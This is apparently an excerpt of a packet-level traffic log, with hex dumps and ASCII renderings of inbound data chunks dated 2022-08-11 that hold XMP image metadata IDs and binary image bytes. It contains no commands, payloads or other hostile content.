</rdf:li> <rdf:li>xmp.did:F77F117407206811902789AF9FB7616E</rdf:li> <rdf:li>xmp.did:F77F1174072068119098A7718D
D2EBAF</rdf:li> <rdf:li>xmp.did:F77F11740720681191099FA6C

2022-08-11 03:42:55 UTC 5702 IN Data Raw: 38 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 45 31 39 42 45 36 33 
32 38 32 30 36 38 31 31 42 38 34 30 38 39 41 46 33 35 41 37 36 35 44 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 78 6d 70 2e 64 69 64 3a 46 45 33 31 38 43 32 43 30 38 32 36 45 33 31 31 38 44 42 33 38 31 45 46 32 43 31 44 
38 41 39 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 45 36 36 36 31 34 41 36 4
5 32 31 36 38 31 31 38 43 31 34 44 38 42 46 45 35 38 41 34 44 44 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 78 6d 70 2e 64 69 64 3a 46 45 37 32 33 33 43 37 31 41 32 30 36 38 31 31 38 43 31 34 42 38 37 30 37 44 35 37 30 41 
35 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 
Data Ascii: 8C</rdf:li> <rdf:li>xmp.did:FE19BE6328206811B84089AF35A765DB</rdf:li> <rdf:li>xmp.did:FE318C2C0826
E3118DB381EF2C1D8A93</rdf:li> <rdf:li>xmp.did:FE66614A6E2168118C14D8BFE58A4DD6</rdf:li> <rdf:li>xmp.
did:FE7233C71A2068118C14B8707D570A5C</rdf:li> <rdf:li>xmp

2022-08-11 03:42:55 UTC 5710 IN Data Raw: 70 2e 64 69 64 3a 61 65 64 63 30 63 37 64 2d 37 36 32 33 2d 34 32 34 37 2d 61 33 38 36 2d 33 61 34 32 30 
36 36 39 65 62 39 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 66 30 36 64 63 
36 30 2d 38 37 37 38 2d 34 30 33 65 2d 39 36 39 34 2d 63 64 37 30 65 64 65 65 31 36 30 61 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 66 30 62 38 34 62 38 2d 34 36 64 63 2d 34 65 39 62 2d 62 38 66 
65 2d 61 66 37 32 35 34 62 35 62 34 34 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 
3a 61 66 35 35 65 30 62 37 2d 36 34 63 33 2d 36 35 34 61 2d 39 33 65 38 2d 66 65 61 33 37 33 38 32 35 36 33 32 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 
Data Ascii: p.did:aedc0c7d-7623-4247-a386-3a420669eb96</rdf:li> <rdf:li>xmp.did:af06dc60-8778-403e-9694-cd70ed
ee160a</rdf:li> <rdf:li>xmp.did:af0b84b8-46dc-4e9b-b8fe-af7254b5b443</rdf:li> <rdf:li>xmp.did:af55e0b7-64c3-654a-
93e8-fea373825632</rdf:li> <rdf:li>xmp.did:a

2022-08-11 03:42:55 UTC 5726 IN Data Raw: 6d 70 2e 64 69 64 3a 65 30 39 33 36 35 63 33 2d 63 36 34 61 2d 34 32 61 65 2d 38 66 65 61 2d 66 62 39 30 
63 32 63 66 37 66 31 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 65 30 61 65 63 
62 36 65 2d 65 64 63 39 2d 33 65 34 36 2d 39 39 65 63 2d 39 66 35 30 35 38 34 63 31 31 33 35 3c 2f 72 64 66 3a 6c 69 3
e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 65 30 62 33 39 65 63 63 2d 35 63 38 33 2d 35 39 34 66 2d 61 33 
63 34 2d 62 65 33 66 31 34 32 30 37 34 61 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 
64 3a 65 30 62 64 36 64 36 38 2d 66 62 37 62 2d 34 64 32 34 2d 61 36 30 32 2d 39 32 30 36 33 65 39 61 30 63 34 30 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 
Data Ascii: mp.did:e09365c3-c64a-42ae-8fea-fb90c2cf7f11</rdf:li> <rdf:li>xmp.did:e0aecb6e-edc9-3e46-99ec-9f505
84c1135</rdf:li> <rdf:li>xmp.did:e0b39ecc-5c83-594f-a3c4-be3f142074af</rdf:li> <rdf:li>xmp.did:e0bd6d68-fb7b-4d24-
a602-92063e9a0c40</rdf:li> <rdf:li>xmp.did:

2022-08-11 03:42:55 UTC 5742 IN Data Raw: a0 04 28 01 ed 40 0a 80 15 00 2a 00 54 00 a8 01 e8 01 a8 18 f4 00 a8 10 d4 0c 7a 00 6a 00 7a 40 2a 60 35 
a8 10 d6 a0 04 05 00 3d 00 3d 03 10 14 00 ad 48 07 34 00 f6 a0 05 6a 00 56 a0 07 b5 03 1e d4 00 f6 a4 02 b5 03 15 a8 
01 c0 a0 04 05 02 1c 0a 00 56 a0 05 b6 81 8f b6 80 3f ff d3 d9 1e ca fa 53 e6 83 7a 76 57 90 d7 bd 65 7a c9 b6 3b 41 7c 
f2 49 33 5e fc 6a 52 48 b6 db 2d 84 30 16 bd c8 a9 65 d4 d1 86 12 45 cd 62 d9 b2 46 96 2b 00 0a db 41 58 d8 da a6 86 0
6 24 72 4c 05 bd f5 95 ad a1 a5 6a 8e b2 00 b1 a8 02 b9 59 d0 4f cc a0 63 ab 58 eb 40 12 b8 3c 69 00 81 17 e1 40 17 25 
8f 1a 00 52 c4 ac 2d 40 18 7d 63 a4 07 89 9e 3d 1d 45 eb 5a 5b 53 3b 54 e6 f0 73 59 74 6d 0d 74 5a a6 35 b1 b7 8b 28 
62 18 9a c1 a3 64 cd 2d e0 ad 66 59 5b 4a 00 d2 98 a4 10 e4 ad f5 35 
Data Ascii: (@*Tzjz@*`5==H4jVV?SzvWez;A|I3^jRH-0eEbF+AX$rLjYOcX@<i@%R-@}c=EZ[S;TsYtmtZ5(bd-fY[J5

2022-08-11 03:42:55 UTC 5750 IN Data Raw: 1a 00 8b 47 7a 00 ad f1 ee 28 02 b5 c7 03 4b 50 32 4b 80 9c 68 11 63 42 a2 80 39 5f 54 7a 42 1c d0 72 21 16 
94 f1 b7 6d 74 e2 cc ea 73 65 c2 ac 79 d7 56 e9 e7 02 63 01 37 61 c6 bd 4c 77 dc a4 f2 b2 53 63 80 2b 56 86 62 34 c4 47 
86 b4 08 5a d0 31 ad 40 86 b5 30 1c c4 db 77 5b 4a 52 38 21 b6 98 85 6a 04 35 a8 01 88 a0 06 22 98 85 6a 00 6b 50 03 
1a 60 35 a8 01 ad 40 0d 40 85 6a 00 6b 50 02 b5 00 2b 53 01 52 01 5a 80 15 00 35 00 2a 04 35 a9 80 ad 40 08 50 02 b5 
00 20 29 00 ad 40 0a d4 00 ad 40 0a d4 00 8d 30 11 a0 05 48 07 a0 62 b5 00 3d a8 01 e8 01 ad 40 0f 6a 00 7b 52 19 25 
6b 1b 8d 28 1a 64 9a 42 c7 53 4a 07 32 58 1d c0 b0 3a 54 c1 52 44 ee 43 63 a1 a7 c4 5a a2 0e c5 cd ce b4 d1 2d c9 1b 
53 10 88 a0 07 b5 00 2b 50 02 02 80 15 03 1e d4 00 ad 40 0a d4 00 f6 
Data Ascii: Gz(KP2KhcB9_TzBr!mtseyVc7aLwSc+Vb4GZ1@0w[JR8!j5"jkP`5@@jkP+SRZ5*5@P )@@0Hb=@j{
R%k(dBSJ2X:TRDCcZ-S+P@

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:42:55 UTC 5766 IN Data Raw: 49 21 90 a7 81 a2 06 4d 24 1c 49 a4 01 11 c8 3d b4 0c 76 c8 55 e3 40 02 c9 9e 83 89 a7 02 92 83 d4 10 9e 34 
e0 52 23 96 0f 02 28 80 92 69 3d fb 69 40 17 79 cb 6e 34 87 20 cf 92 41 b8 e1 55 02 92 97 cd 2d c2 9c 0a 41 a7 95 db 4d 
6d 4d 08 8c 62 4f 7d 00 5e 7c c5 5f 75 20 2b de e3 b0 d3 01 99 1d b5 b5 31 0c 88 c0 d0 06 94 18 ea fa 91 ad 43 65 a4 1b 
b1 45 49 40 79 38 49 3d d5 85 c1 aa 56 82 5a 93 3c 7a 66 15 37 0a 2d 5a 79 ac cb ca 40 1d 4f a0 2c aa 55 17 98 70 b5 
69 4c b0 67 7c 49 9c 9e 56 14 98 ed b1 81 ae ea dd 33 82 d4 68 78 b0 26 6b 36 c3 b4 d0 ee 86 b1 b0 f9 3d 3d 22 ae e0 
7b 2f 59 2c c6 af 01 95 34 2d 16 8d 5b a7 27 3d ab 04 0d 32 04 68 01 50 03 53 01 50 31 1a 04 2a 06 49 50 b7 0a 52 38 2
4 b1 df 89 a5 23 81 e5 00 70 a1 03 2a a6 48 46 36 0c d9 3f c2 52 
Data Ascii: I!M$I=vU@4R#(i=i@yn4 AU-AMmMbO}^|_u +1CeEI@y8I=VZ<zf7-Zy@O,UpiLg|IV3hx&k6=="{/Y,4-['=2hP
SP1*IPR8$#p*HF6?R

2022-08-11 03:42:55 UTC 5770 IN Data Raw: 6d a7 8d 25 51 ef 27 8b d4 0c 6d 61 c0 d2 b5 06 ae 5b 2e 72 c9 c7 4a 95 52 b7 17 e2 b4 73 5b 77 0a 97 a1 6a 
19 a1 2c 1b 40 d9 51 25 c1 1d 92 27 77 87 b6 80 34 30 d2 45 00 36 be fa cd 96 83 c3 85 1a d4 94 09 95 91 6e ed 52 44 
b6 51 0e 5b af 11 a5 36 85 21 90 e6 ee 36 a9 82 a4 79 f2 85 a8 02 91 96 01 d2 9c 0a 4b d3 26 f4 86 58 72 6d a9 a0 62 5c 
b0 c6 80 24 cf 6d 69 01 07 97 db 4c 04 a6 f4 01 5b b7 65 02 1b 80 a0 04 fb 5c 5a 80 32 73 f1 a4 43 b9 4d c5 6b 56 67 64 
73 f2 c5 b9 88 3c a3 8d 74 a6 73 34 65 64 83 e6 17 51 a5 6f 5e 07 35 b8 84 c3 11 96 3b 3f 01 db 50 dc 33 44 a5 01 fd 23 
33 ed 8c 1b 56 9b 8c b6 6b a1 a9 0e 2c b1 ed ac 1d 93 3a 55 5a 3a 3c 10 c1 35 16 35 cb 63 aa a1 d8 e4 93 73 50 cb 41 
24 5e a4 64 19 74 a6 06 17 51 c5 60 4b 28 bd 6d 56 63 64 73 92 
Data Ascii: m%Q'ma[.rJRs[wj,@Q%'w40E6nRDQ[6!6yK&Xrmb\$miL[e\Z2sCMkVgds<ts4edQo^5;?P3D#3Vk,:UZ:<55csP
A$^dtQ`K(mVcds

2022-08-11 03:42:55 UTC 5786 IN Data Raw: 8a 3f e1 f3 9f d4 2a 95 49 93 27 2b aa cf 2f 8b 68 f6 2e 95 a2 a9 2d 80 33 96 ad 20 99 18 5f b2 80 0c c1 ea b9 
09 12 f3 69 6e dd 6b 37 54 52 63 cd 9d 34 da 3b 12 3d 9c 05 09 03 65 6b 91 2c 7d c6 61 fa 69 c0 83 60 eb b3 2f f1 00 71 
fa aa 5d 07 b8 32 3e bb 0b 0e 60 54 fb 2a 5d 46 ac 03 d5 3d 5f 8d 89 8e f3 43 cf 20 2a 15 5a eb b8 9f 7f cb 53 58 60 ec 
64 7a 6f d7 73 f5 6e a0 98 53 a4 71 a9 57 37 52 4d c8 1c a3 5a bb 56 06 98 0c 5f d4 27 4e ba d0 65 b6 dc 10 d2 44 a4 0d 
3b 36 3b 7c 5c 2a ed 55 04 d6 c5 be a7 fe a4 47 08 58 fa 5b 6e 37 3b 9e de cf 82 f5 0a b2 39 06 c1 fe a5 64 47 00 69 94 
4c f7 e6 6f 60 f8 4e df 15 43 50 c7 26 84 bf d4 47 74 0d 8f 00 bf 6d c9 3f 6d b8 54 c8 48 6a fa de 0e a1 8d 3a e3 a4 89 3a 
42 ce 2f 6b 5c 7b 0d 52 e2 53 e0 3e 07 ad b1 f3 32 
Data Ascii: ?*I'+/h.-3 _ink7TRc4;=ek,}ai`/q]2>`T*]F=_C *ZSX`dzosnSqW7RMZV_'NeD;6;|\*UGX[n7;9dGiLo`NCP&Gtm?
mTHj::B/k\{RS>2

2022-08-11 03:42:55 UTC 5802 IN Data Raw: b2 4e e3 5b 06 08 01 f3 50 dd 9b 5d 7b 3e e8 ac 6c d9 ad 50 5f 0e 1c 2b 32 c0 fa 86 5c 6a 86 23 72 cd c2 df ef 
ab aa 22 cc cb 57 23 94 dc 9a d8 cc 91 0c c3 68 d4 f6 d2 02 f5 86 4b ea 42 80 7b 6a 5b 19 76 81 b6 f1 35 00 48 ba 82 49 
d5 7d b7 ec a4 30 69 b2 a1 95 09 53 6b e9 a7 1a b5 56 85 20 32 cc b1 15 20 b0 b8 d0 7b 2b 64 a4 96 c8 c9 d6 02 b1 b9 
37 1e ca af 2c 5b 86 6c e9 4d 8c 63 80 e2 4f 0f b6 8d 88 a9 33 a6 5c 89 8e e7 24 df 80 f7 56 ca 11 9b 07 93 0a 50 2e aa 
48 f7 7f ca ab 7a 21 a2 c5 e9 73 b2 06 3c 4f 00 6a 5e 44 2d 8c 8f d3 cb 0e 80 f0 e3 63 4f 72 61 10 15 00 99 ad 73 a5 66 
da 34 48 32 24 03 c4 09 35 93 65 24 5f 0a 6a 4b 31 61 d9 61 52 d9 49 12 61 28 3c 91 3b 7d a2 96 e5 ef 2f 63 04 93 a6 e5 
64 36 e4 8c ad be 22 2a d6 4a a2 5e 26 c5 27 47 c9 84 16 
Data Ascii: N[P]{>lP_+2\j#r"W#hKB{j[v5HI}0iSkV 2 {+d7,[lMcO3\$VP.Hz!s<Oj^D-cOrasf4H2$5e$_jK1aaRIa(<;}/cd6"*J^&'G

2022-08-11 03:42:55 UTC 5810 IN Data Raw: b9 f6 59 68 26 c1 c4 98 72 13 92 48 e7 3d db e8 07 b7 fd 9a 9c 5b 81 25 0f 9f d3 65 6d b2 47 19 61 fe df aa ad 
52 e8 0a 65 e9 f8 e5 48 39 0f b5 86 82 e3 4a b5 77 ee 09 33 0f 41 99 a6 67 f3 81 c6 1e 2b dc 8f d1 c2 ba 3c d5 1c 39 80 
2d fa 4e 2c 8e 21 0d b3 83 12 78 9b 76 56 3e 6d 96 a0 47 27 d3 38 d9 20 db 22 cc 34 f7 0f c3 55 5c ed 76 03 60 71 7a 6a 
1c 57 dc 67 57 77 36 5e 22 de fa d5 e7 6f b0 48 3c f4 98 e3 3e 63 e4 59 07 15 22 f7 b5 67 e6 37 d8 54 95 49 26 0e 34 8c 
b2 2d ee b7 b9 3a 1f d5 c2 a9 2b 59 0a 40 31 f2 70 e7 9a ef a4 7d a1 4f 6f b6 b5 b5 6c 90 a4 2e 4c 0c 3c db ec 95 a3 44 
36 3d bc 6b 25 7b 57 8a 1c c0 f3 af 4c 60 b0 28 26 d7 00 96 b7 0a 6b 7f 16 39 05 c9 c6 c1 c8 21 7c d2 a4 0b 1b 6a a3 ec 
ed ad 13 b2 ec 02 b9 7d 30 1a 31 3c d9 28 f0 8e ee ca 
Data Ascii: Yh&rH=[%emGaReH9Jw3Ag+<9-N,!xvV>mG'8 "4U\v`qzjWgWw6^"oH<>cY"g7TI&4-:+Y@1p}Ool.L<D6=k%
{WL`(&k9!|j}01<(

2022-08-11 03:42:55 UTC 5826 IN Data Raw: df 6d 03 24 23 b3 6e 3c 00 a2 46 58 b7 22 ea 68 dc 12 46 4e 62 0d ed 46 e1 49 12 2d ad 21 48 bd f7 a4 21 1d 
3d 94 08 7d d6 fb 28 81 0b cd 23 4b d3 1c 95 b3 5e 80 20 4f 6f b6 a8 91 8b db 81 a2 04 22 2f c4 d0 34 33 20 e3 c0 53 4c 
62 f2 f7 68 34 1e ea 24 44 cd c7 1a 90 22 0a b1 be b4 c6 38 0b c4 50 34 59 e5 f6 86 a0 a1 8c 47 4d 46 b4 c5 03 ec 65 ec 
15 43 82 b7 6d 75 1f aa 94 88 4c d7 d2 90 08 f0 b8 d6 90 12 de 40 b1 e1 48 43 0b 71 e0 69 88 92 dc f0 d6 93 1a 64 5a e3 
5b 7e 9a 10 36 32 38 3d a6 9b 42 92 2c 5b 88 6b fb a9 8a 46 59 2d d9 44 0a 49 f9 8b c6 94 0e 49 6e 3a 5a f6 a4 12 46 57 
6b 1d b6 dd 6d 37 53 48 72 44 b6 e5 e6 b5 e9 f0 14 8f 73 b6 c0 fe ba 02 48 19 18 70 36 3e ea d2 b6 68 6a cc b0 65 4d b7 
66 e6 db ec dc 6b 5f f2 2c 68 b2 b2 02 7f 8a ff 00 6d 5a 
Data Ascii: m$#n<FX"hFNbFI-!H!=}(#K^ Oo"/43 SLbh4$D"8P4YGMFeCmuL@HCqidZ[~628=B,[kFY-DIIn:ZFWkm7SHrDs
Hp6>hjeMfk_,hmZ

2022-08-11 03:42:55 UTC 5842 IN Data Raw: 2e 96 16 f7 5e b9 f8 94 0e fd 49 5a 43 02 da e5 6e a6 fc 7b 2d 5a 2c 70 a4 89 2e 8f 7e db ca 14 31 f6 35 c7 eb 
a8 71 d8 10 37 96 24 21 6e 54 a8 bf 21 fd 17 bd a9 cc 02 40 2f e9 bc 27 63 2f 96 3c c6 d4 b7 69 35 ba f5 37 4a 27 40 da 
49 70 32 e2 9b ce 2e be 50 03 90 0f 67 b3 6d 4f 99 56 a2 39 87 b6 0b 7a a7 4e 8b 3e 23 0c e0 b2 36 9b 6f 6a 9c 59 1d 1c 
a1 34 67 e0 7a 72 1e 95 19 8b 10 48 15 8f c5 c3 ec ae 8c 9e a5 e5 73 68 25 d4 6e 99 d2 4f 4d 46 8a 16 67 56 6b f3 1e 17 
e3 6d 28 cb 9b cc 72 c4 68 ba 99 17 76 e6 ba f1 51 db ee d6 b9 d3 81 41 9b d3 fa 7a e6 37 d4 cb 13 41 3a 92 a3 88 36 bf 
ef 57 4e 4c 9b 34 4f 7d 46 91 be 22 04 00 58 8b 69 ef 35 c1 25 c0 24 7d 5f 09 f7 7e 60 1b 0d 8e e3 6f ff 00 1a d5 e1 ba ec 
e2 12 5e 09 75 de 96 21 b5 05 78 54 70 d1 83 46 7c 
Data Ascii: .^IZCn{-Z,p.~15q7$!nT!@/'c/<i57J'@Ip2.PgmOV9zN>#6ojY4gzrHsh%nOMFgVkm(rhvQAz7A:6WNL4O}F"X
i5%$}_~`o^u!xTpF|

2022-08-11 03:42:55 UTC 5849 IN Data Raw: 8d 87 e5 90 e4 15 93 8b 76 dc fc 5a d3 b5 e7 f8 76 15 5d 02 66 ea 11 44 76 a9 df 27 c2 bf 6f b6 95 6a de ac 
d9 dc 9f d4 24 86 e0 9e 3c 2a 1a 63 de 28 e6 59 0f 29 b9 5e 3a f6 fd 94 9a 68 69 c9 63 34 84 5a 36 5f d3 54 ad 05 48 97 
2c 03 e5 dc 17 1c 6d c2 af 7d 90 f7 17 34 82 da d3 f3 43 71 54 39 91 4e 04 90 9d c0 d5 db 2b a8 f7 13 33 af 0e 24 1e 15 
1e 73 16 e3 39 e4 ce 7c a0 04 6a b8 bb 5b 71 bd c9 37 e5 a6 ed 57 59 9e 72 58 f0 0c a0 e5 9c c7 e5 70 11 81 a8 1f 78 f8 
aa 1b ac 69 3b bc 42 41 2d 2e c3 73 a8 f7 5c ff 00 ba a1 16 58 b2 33 0e 4d 2b 45 76 39 1d 65 db a0 b7 fc 68 f3 5a 0d c5 
3f 55 1c 92 34 41 d6 ea 05 fd df 6d 0d b8 98 23 70 3e 24 c9 97 18 9f 18 80 be d0 a0 fe d5 17 9a 38 62 56 92 e1 00 20 86 
0a d6 d4 0b 0d 3f 45 67 b8 68 29 7b 55 85 ad c2 ba 6b ae 
Data Ascii: vZv]fDv'oj$<*c(Y)^:hic4Z6_TH,m}4CqT9N+3$s9|j[q7WYrXpxi;BA-.s\X3M+Ev9ehZ?U4Am#p>$8bV ?Egh){Uk

2022-08-11 03:42:55 UTC 5865 IN Data Raw: 8d 8a 15 bd 96 df e2 f8 a9 5b 1b ac 37 de ef 12 91 83 d5 3a 86 3b c8 70 f1 1a 38 64 75 3b 5c 05 ef 29 d5 1d 
07 37 dd dd 5d d8 b1 d9 2d d6 9b 2f 08 6d 66 cf 45 e9 d9 6b 12 8c f2 ac ca 3b c0 f6 ff 00 ca b8 f3 64 ac f2 1a 24 69 e6 c1 
3f 93 b7 14 aa 93 c1 8f b6 b9 a9 6a cf 31 6e a0 d8 4b 97 c3 27 62 bd 86 b1 92 41 51 ed df 73 73 5a 5f 6f 76 7e a2 5a 06 
eb 59 47 0c 46 31 ec 72 24 65 b5 c0 b0 50 6e ec e7 ba a3 ef 56 98 29 be 67 a6 bf 9b ba 26 8e 73 ab 7a ae d9 12 18 17 
cc 8a 1d 58 2d 82 d8 db 9f 77 78 6b f0 d7 a3 87 d2 72 a9 e5 b5 fe f1 30 75 3d 27 aa c5 d4 f1 93 21 76 86 51 70 e4 77 49 
d3 94 b5 79 99 b1 3c 56 75 f6 b1 aa 29 ea 19 d2 63 45 bb 12 36 92 62 c8 49 16 d4 03 de 37 e5 db f2 d5 63 c6 ac f9 9e da 
ea 43 03 f5 27 a8 df 16 04 2c 1a 35 69 54 31 22 e5 40 e3 
Data Ascii: [7:;p8du;\)7]-/mfEk;d$i?j1nK'bAQssZ_ov~ZYGF1r$ePnV)g&szX-wxkr0u='!vQpwIy<Vu)cE6bI7cC',5iT1"@

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:42:55 UTC 5869 IN Data Raw: 7f dc 11 ff d2 cd 93 1d df 48 17 68 17 d4 01 db ed 35 f9 b2 b2 5c 4e 03 2f a4 f4 8c bc 09 49 f3 7c c8 c5 ed 7b 
82 2f c7 ef 57 4e 6c d5 ba e1 b5 81 ae 40 91 d5 9a da 0d 05 f5 fb d5 c9 c1 09 92 96 54 63 ab 0d a2 da 01 7a 49 31 01 ff 
00 37 c5 8c c8 a5 d6 35 4b df e2 2d ed fb 2b 6f 26 ce 3b 45 03 3f 5c c2 37 de c0 a8 20 01 e1 37 f6 50 b0 5c 20 13 2b af 
e2 a5 e4 58 c1 22 d7 5d bc 2f dd ff 00 a6 b6 af a7 b3 d2 4a 36 71 9f cd 51 2c 6a 63 b2 81 b4 fb f5 e1 5c 56 51 a3 e6 19 09 
ba 81 57 f2 36 11 b8 dc 91 6e 00 77 bd d5 4b 1e 93 20 41 7a 84 1b f6 5c e9 a9 27 85 ad de a6 f1 b8 92 86 cd c0 83 32 24 
08 39 10 6f 5d a7 d9 af 67 c4 69 d3 25 a8 f5 ed e5 13 23 81 84 88 3f 8a 59 6c 1b 69 e3 73 4f 25 db ec 10 58 c2 89 d4 c9 
19 17 72 08 27 d8 3e 1f b6 b2 de d6 8c 64 46 4c 41 
Data Ascii: Hh5\N/I|{/WNl@TczI175K-+o&;E?\7 7P\ +X"]/J6qQ,jc\VQW6nwK Az\'2$9o]gi%#?YlisO%Xr'>dFLA

2022-08-11 03:42:55 UTC 5885 IN Data Raw: 7f 8b b6 d5 dd 6c 74 6f 47 1f 14 7e 01 c1 ab 8b 97 33 c4 7e a2 37 8a 3d a2 ca 75 67 23 56 bf 62 25 72 5a 89 
3d 1a b3 fc 35 fd c0 f4 2b ca f4 ee 1f 50 9d 65 21 e2 97 5b 32 b5 8b 0f b6 f5 74 f5 37 c6 a3 4b 54 4a d0 12 98 38 fd 39 f7 
21 69 26 74 40 ac ed 71 6d db 76 aa ff 00 b7 2d 64 f2 5b 22 f7 55 37 d2 8a 76 08 38 cb b5 bc 98 61 12 81 c1 80 db f6 9b 
0e 6a 8d de f7 6d a3 92 f5 8a 24 52 cf 0a 06 55 b8 55 51 73 6f 87 4b 56 6d b7 c1 b0 93 27 a7 fa a0 f5 0c 97 8a 38 2d 10 
5b b3 30 b0 04 76 5b 89 fc 35 d7 93 d2 f9 75 4d bd 44 d0 7c b9 13 49 30 48 13 76 33 00 03 0e 0b ed 66 bd b9 8f c3 58 
2a a4 a5 f5 81 66 c7 09 e6 61 ca bb ee 79 88 dc 05 8f c3 53 2a 62 c8 d5 31 41 92 d8 e5 bc e9 4c ae fa c8 ed 60 00 3f 0a 
76 2d 2b 55 5b 82 db e1 a9 2e d2 0f 27 54 c7 c9 94 c5 13 
Data Ascii: ltoG~3~7=ug#Vb%rZ=5+Pe![2t7KTJ89!i&t@qmv-d["U7v8ajm$RUUQsoKVm'8-[0v[5uMD|I0Hv3fX*fayS*b1AL`?
v-+U[.'T

2022-08-11 03:42:55 UTC 5901 IN Data Raw: 7a 6e 5a 36 3b 4c 58 dc e8 48 f6 a6 ea cf 26 1d 37 d5 ef d9 05 d4 e8 c4 40 46 11 50 3a 58 2d 98 df 41 ed dd 
de 6a f3 67 5e 21 60 7c 8e a7 12 93 8f 23 22 b1 52 e4 36 84 02 6c 3e ea 6d ee d6 95 c4 de aa 48 90 58 24 c8 57 de 8e af 
88 8b c2 1b dc f8 ac 8b e2 fd aa d6 ca b1 af 5f c6 52 0d 83 2f ea 17 72 45 2c 6c 46 aa eb 62 3f 5d 63 6a 6d e2 eb 6f 94 65 
a4 64 4b f9 3b c2 c6 00 06 dd e3 7a 9e 55 ac 6a 12 29 a2 96 57 1b 25 74 20 8b ea 2c 7f 46 b4 26 92 d5 26 5b 66 3f 57 f4 
f4 13 49 f5 a7 7e 43 26 aa bb f4 24 7b 3c 35 d7 87 d4 3a ad ba 53 f9 12 cd 0c 10 e6 35 e5 da 6c 39 18 83 b4 d6 17 89 fd 
43 41 d0 40 66 b5 ce c8 c6 a5 f4 1f b0 3b 6a 6a 93 7a 9a 55 4f 13 37 a8 e7 c3 86 8c a0 b1 3a 6d 42 0f 6e 83 7b 78 9b f7 
ab 4a 63 77 64 59 fb 8a bf fb 56 1f 9d e4 08 c3 ed 1b 
Data Ascii: znZ6;LXH&7@FP:X-Ajg^!`|#"R6l>mHX$W_R/rE,lFb?]cjmoedK;zUj)W%t ,F&&[f?WI~C&${<5:S5l9CA@f;j
jzUO7:mBn{xJcwdYV

2022-08-11 03:42:55 UTC 5909 IN Data Raw: 96 9a 41 3e 4e 4b 00 49 b9 5d 2e 48 ef bf fd 35 74 f5 50 a2 b5 f6 f8 44 d9 7c 1d 12 2c 4c 5d f2 4a f2 24 5a 90 
a4 28 63 f1 5f 8e ea 8b 67 77 b4 25 b7 71 05 5d 17 a8 cb 34 d2 e6 04 be 36 ee 52 6d c7 f4 d5 66 c6 92 55 ef 82 50 09 1f 
51 ea 99 59 52 43 3e 23 4b 1c 8c db 83 68 0a 8e c5 23 45 d9 de ad 9e 3c 75 aa 6a db 5a fc c5 b4 6e 41 d3 b1 31 4a cf 
2a b6 c4 52 02 bb dc 2f ff 00 85 70 db 25 ad a2 fc 2b a8 97 50 1e a1 93 d3 b2 2d 14 b0 ee 89 c6 9b 0e d2 6d f1 01 ae d1 
7a db 1d 6f 5d 53 e6 5e 21 43 46 96 1f 4d e9 a8 88 c8 36 86 d5 03 b1 b8 b6 9f a2 b9 ef 97 23 6f f1 6d 28 34 e3 e3 6d 0e 
53 7b 83 6e 5d 4e bf 19 f1 2d 63 ba dc 26 06 0d 3f 4f c1 92 45 f3 a1 06 44 5e 4f cb 24 0f 97 e1 ad 2b 92 e9 68 f4 ef 73 14 
91 04 e8 38 4d 21 9d b1 e3 f3 17 81 db a5 fe ef 0b d5 
Data Ascii: A>NKI].H5tPD|,L]J$Z(c_gw%q]46RmfUPQYRC>#Kh#E<ujZnA1J*R/p%+P-mzo]S^!CFM6#om(4mS{n]N-c&?
OED^O$+hs8M!

2022-08-11 03:42:55 UTC 5926 IN Data Raw: b0 00 37 0f 79 5d b5 dd 97 d2 da b0 fb 34 e9 22 4d 57 c6 e9 e4 ac ce 23 25 78 35 80 b7 bc fc 35 ca ad 7e 1a 
9a a2 cf 3b 13 7f 99 0c 8c 47 77 47 d0 5b fd d5 3b 6d 10 d7 e1 34 a9 26 31 9d 46 e6 03 80 24 eb 49 48 e0 c9 ca 89 63 c8 
6c f9 32 84 77 01 6c c0 95 b0 f0 8b 1a eb a3 9a ec 55 9f cc 43 50 17 34 1d 3b a9 20 66 65 90 1f 85 8a 93 b7 b6 c0 f6 56 
2a d9 31 bf 08 91 2c a8 e4 44 11 e2 38 8e 31 65 20 a9 60 6e 74 ed a5 56 9b 9b 73 31 35 20 b9 5e 97 4c cb fd 6b 1e 5d 
2c 8d 61 60 2f a8 ec d2 b5 a7 aa 74 e9 fc 44 4c 07 e1 61 62 e2 22 47 8b 16 dd a6 d7 5b 70 23 4d cd c6 b0 bd ed 76 dd 
99 28 b9 df 7d ed 23 2a ab ed e1 a9 65 f7 fc 35 09 47 67 67 e1 b0 cb 31 d4 4f 67 52 2c 6e 09 2b 63 a7 1e 3a d4 d9 ed d0 
40 30 4d 16 41 89 7c b5 22 4d c3 8f 0b 77 6d a8 ad ed 57 59 d7 
Data Ascii: 7y]4"MW#%x55~;GwG[;m4&1F$IHcl2wlUCP4; feV*1,D81e `ntVs15 ^Lk],a`/tDLab"G[p#Mv(}#*e5Ggg1O
gR,n+c:@0MA|"MwmWY

2022-08-11 03:42:55 UTC 5942 IN Data Raw: d3 f5 52 ab 75 ae e8 e5 44 4e a5 a8 cd 88 8b 1b ce a8 9c 14 91 db f7 9a a1 ad ee 62 46 cb 4c 17 8e f2 15 2a 
